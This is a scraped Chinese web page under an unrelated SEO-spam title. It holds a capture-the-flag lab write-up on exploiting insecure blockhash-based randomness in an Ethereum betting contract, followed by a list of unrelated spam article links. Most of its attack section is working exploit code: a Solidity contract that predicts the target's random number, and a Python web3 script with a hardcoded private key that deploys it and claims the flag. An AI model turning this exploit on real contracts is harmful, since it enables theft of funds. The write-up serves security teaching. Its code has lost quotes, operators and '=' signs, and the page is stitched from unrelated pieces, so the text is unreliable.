当前位置: 首页 > news >正文

织梦响应式网站编写网站的软件

织梦响应式网站,编写网站的软件,html5网站开发语言的有点,wordpress脚注更改区块链安全 文章目录 区块链安全不安全的随机数实战二实验目的实验环境实验工具实验原理实验内容EXP利用 不安全的随机数实战二 实验目的 学会使用python3的web3模块 学会以太坊不安全的随机数漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 由…区块链安全 文章目录 区块链安全不安全的随机数实战二实验目的实验环境实验工具实验原理实验内容EXP利用 不安全的随机数实战二 实验目的 学会使用python3的web3模块 学会以太坊不安全的随机数漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 由于所有以太坊节点在验证交易时需要计算出相同的结果以达成共识因此 EVM 本身无法实现真随机数的功能。至于伪随机数其熵源也是只能是确定值。 EVM 有五个字节码可以获取当前区块的变量包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说都是已知或者可操控的因此在私有链部署的题目中可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上这个方法就不太可行但我们也可以编写攻击合约在攻击合约中获取到相同的区块变量值进一步用相同的算法得到随机数值。 实验内容 找到不安全的随机数漏洞并形成利用 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10004 获取合约地址和合约源代码 nc ip 10004连接到题目输入1获取部署合约的game account及token 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10004连接到题目输入2获取部署合约的地址及new token nc ip 10004连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求把flag设置为true分析合约代码需要使balanceOf[msg.sender]3000 漏洞主要在于EVM 有五个字节码可以获取当前区块的变量包括 coinbase、timestamp、number、difficulty、gaslimit虽然依靠这些变量可以生成随机数但生成的随机数是伪随机数本题目中只需要使用第三方合约与其交互随机数生成使用同样的算法即可因为第三方合约和其交互的交易会打包到同一区块中这样便可预测随机数。 EXP利用 编写第三方合约使用和题目相同的算法预测随机数将下述ETH4的地址换成自己题目合约的地址 contract hack {ETH4 target ETH4(0x1ef792186a9EdBd3366A5804D399924F4A98715f);function hack1() public {for(uint i0;i3;i){uint256 seed uint256(block.blockhash(block.number-1));uint rand seed % 10;target.bet(rand);}}function callsendflag() public {target.callsendflag();} }调用利用链是先调用hack1()然后调用callsendflag()即可 编写exp将这一过程自动化下述contract_address的地址换成自己题目合约的地址 from web3 import Web3, HTTPProvider from solcx import compile_source,set_solc_version_pragma import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0xF05B4DAD63660aDaa2A23F4434fd5f30c24d7480 private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.4.23) with open(./attack.sol, r) as f:SRC_TEXT f.read() compiled_sol compile_source(SRC_TEXT) CONT_IF compiled_sol[stdin:hack]txn generate_tx(8888, , CONT_IF[bin], 0) txn_receipt sign_and_send(txn) hack_address txn_receipt[contractAddress] print(hack_address ,hack_address)time.sleep(5)# hack1() data Web3.keccak(texthack1()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0) Hack sign_and_send(txn) print(Hack)time.sleep(5)# callsendflag() data Web3.keccak(textcallsendflag()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0) Hack sign_and_send(txn) print(Hack)打开命令行执行以下命令切换solc版本 6 运行exp nc ip 10004连接到题目输入3输入之前的new token获取flag
http://www.yutouwan.com/news/436137/

相关文章:

  • 网站的制作流程有哪些步骤php5 mysql网站开发基础与应用
  • 呼和浩特网站网站建设怎么用flash做游戏下载网站
  • 湖南长沙app上海seo网络推广公司
  • 网站建设技术是什么知乎建站平台
  • 网站开发地址织梦网站怎么安装
  • 网站建设公司宣传文案房地产公司排名
  • 揭阳响应式网站价格科技网络公司怎么取名字
  • 乒乓球网站怎么做整形网站源码
  • 郑州网站优化_郑州网站推广_河南网站建设公司_seo外包顾问服务免费建站网站哪个好
  • 关于做面包的网站怎么做短剧推广赚钱
  • 中材建设有限公司招标网站北京中铁建设集团有限公司
  • 滤芯网站怎么做室内设计公司排名100
  • 网页制作用什么软件单页面网站如何优化
  • 电子商务网站开发需求分析网站建设需要什么东西
  • 品牌网站设计提案中国常用网站
  • 手机网站404页面专业的建站公司推广
  • 淘宝网站建设弄什么类目服务专业的品牌建站公司
  • 网站出现的问题烟台网站建设烟台
  • 不用下载能直接进入的正能量网站网络逻辑设计报告
  • 网上销售型的企业网站云南最新消息
  • 微信网站如何制作哪些网站可以做直播
  • 购物网站支付功能怎么做wordpress可以用的邮箱
  • 汕头个人网站推广建设杭州软件定制开发
  • 黑豹站群系统梧州网页设计
  • qq推广引流网站免费空间asp网站源码
  • 折扣网站模板网页制作的基本步骤视频
  • 网站注册查询官网如何创建一个新网站
  • 河北建设集团园林网站优秀企业门户网站建设
  • 珠宝类网站建设可执行报告seo关键词推广价格
  • 域名备案网站备案网络营销课程总结与心得体会